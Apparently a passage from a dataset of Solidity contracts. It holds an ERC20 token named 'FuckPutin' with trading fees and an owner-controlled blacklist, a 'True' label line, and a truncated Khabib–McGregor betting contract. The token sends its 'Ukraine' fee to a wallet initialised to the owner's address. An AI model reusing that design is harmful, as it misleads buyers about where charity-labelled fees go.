(address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract FuckPutin is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address public constant deadAddress = address(0xdead); bool private swapping; address public marketingWallet; address public ukraineWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyUkraineFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellUkraineFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForUkraine; /******************/ // exlcude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; // _isBlacklisted = can not buy or sell or transfer tokens at all <---- bot protection mapping(address => bool) public _isBlacklisted; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event ukraineWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("FuckPutin", "FPUT") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 2; uint256 _buyLiquidityFee = 6; uint256 _buyUkraineFee = 5; uint256 _sellMarketingFee = 2; uint256 _sellLiquidityFee = 6; uint256 _sellUkraineFee = 5; uint256 totalSupply = 1 * 1e27; maxTransactionAmount = totalSupply * 1 / 100; // 1% maxTransactionAmountTxn maxWallet = totalSupply * 2 / 100; // 2% maxWallet swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap wallet buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyUkraineFee = _buyUkraineFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyUkraineFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellUkraineFee = _sellUkraineFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellUkraineFee; marketingWallet = address(owner()); // set as marketing wallet ukraineWallet = address(owner()); // set as dev wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable { } // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool){ transferDelayEnabled = false; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){ require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 1 / 100)/1e18, "Cannot set maxTransactionAmount lower than 1%"); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 2 / 100)/1e18, "Cannot set maxWallet lower than 2%"); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _ukraineFee) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyUkraineFee = _ukraineFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyUkraineFee; require(buyTotalFees <= 20, "Must keep fees at 20% or less"); } function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _ukraineFee) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellUkraineFee = _ukraineFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellUkraineFee; require(sellTotalFees <= 25, "Must keep fees at 25% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateUkraineWallet(address newWallet) external onlyOwner { emit ukraineWalletUpdated(newWallet, ukraineWallet); ukraineWallet = newWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } function addToBlacklist(address[] calldata addresses) external onlyOwner{ for (uint256 i; i <addresses.length; i++){ _isBlacklisted[addresses[i]] = true; } } function removeFromBlacklist(address account) external onlyOwner{ _isBlacklisted[account] = false; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { // makes sure seller or buyer is not blacklisted require(!_isBlacklisted[from] && !_isBlacklisted[to], "This account is blacklisted: If you feel this is incorrect please contac us and we will remove you"); require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } //when sell else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if(takeFee){ // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForUkraine += fees * sellUkraineFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } // on buy else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForUkraine += fees * buyUkraineFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable deadAddress, block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForUkraine; bool success; if(contractBalance == 0 || totalTokensToSwap == 0) {return;} if(contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForUkraine).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForUkraine = 0; (success,) = address(ukraineWallet).call{value: ethForDev}(""); if(liquidityTokens > 0 && ethForLiquidity > 0){ addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } (success,) = address(marketingWallet).call{value: address(this).balance}(""); } }
True
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pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } } contract Statable { uint8 public state; // { 0 = pre event , 1 = during event, 2 = post event, 3 = refunding modifier requireState(uint8 _state) { require(state == _state); _; } } contract Fighter is Ownable, Statable { using SafeMath for uint256; uint256 public minBetAmount = 0; string name; constructor(string contractName, uint256 _minBetAmount) public { name = contractName; minBetAmount = _minBetAmount; state = 0; } function changeState(uint8 _state) public onlyOwner { state = _state; } function getAddress() public view returns (address) { return address(this); } function() public payable requireState(0) { require(msg.value >= minBetAmount); MasterFighter(address(owner)).addBet(msg.value, msg.sender); } function transferMoneyToOwner() public onlyOwner requireState(1) { if (address(this).balance > 0) { MasterFighter(address(owner)).deposit.value(address(this).balance)(); } } } contract MasterFighter is Ownable, Statable { using SafeMath for uint256; uint256 public percentRake = 5; uint256 public constant minBetAmount = 0.01 ether; bool public hasWithdrawnRake = false; address winningFighter; address[] public fighterAddressess; struct Bet { uint256 stake; bool withdrawn; } mapping(address => mapping(address => Bet)) public bets; mapping(address => address[]) public bettersForFighter; mapping(address => uint256) public totalForFighter; uint256 public amount; event StateChanged(uint8 _state); event ReceivedMoney(address _betterAddress, address _fighterAddress, uint256 _stake); function deposit() public payable requireState(1) { } constructor() public { state = 0; addFighter(new Fighter("Khabib", minBetAmount)); addFighter(new Fighter("McGregor", minBetAmount)); } function getTotalBettersForFighter(address _address) external view returns (uint256) { return bettersForFighter[_address].length; } function startEvent() external onlyOwner requireState(0) { state = 1; for (uint8 i = 0; i < fighterAddressess.length; i++) { Fighter(fighterAddressess[i]).changeState(state); Fighter(fighterAddressess[i]).transferMoneyToOwner(); } emit StateChanged(state); } function refundEverybody() external onlyOwner requireState(1) { state = 3; emit StateChanged(state); } function addFighter(address _address) private requireState(0) { fighterAddressess.push(Fighter(_address)); } function checkValidFighter(address _address) private view returns (bool) { for (uint8 i = 0; i < fighterAddressess.length; i++) { if (_address == fighterAddressess[i]) { return true; } } return false; } function addBet(uint256 _stake, address _betterAddress) external { require(checkValidFighter(msg.sender)); if (bets[msg.sender][_betterAddress].stake > 0) { bets[msg.sender][_betterAddress].stake = bets[msg.sender][_betterAddress].stake.add(_stake); } else { bettersForFighter[msg.sender].push(_betterAddress); bets[msg.sender][_betterAddress] = Bet(_stake, false); } amount = amount.add(_stake); totalForFighter[msg.sender] = totalForFighter[msg.sender].add(_stake); emit ReceivedMoney(_betterAddress, msg.sender, _stake); } function totalWagered() public constant returns (uint256) { return amount; } function totalRake() public constant returns (uint256) { return totalWagered().mul(percentRake).div(100); } function totalPrizePool() public constant returns (uint256) { return totalWagered().sub(totalRake()); } function declareWininingFighter(address _fighterAddress) external onlyOwner requireState(1) { require(checkValidFighter(_fighterAddress)); state = 2; winningFighter = _fighterAddress; emit StateChanged(state); } function withdrawRake() external onlyOwner requireState(2) { require(!hasWithdrawnRake); hasWithdrawnRake = true; owner.transfer(totalRake()); } function withdraw(address _betterAddress) public requireState(2) { 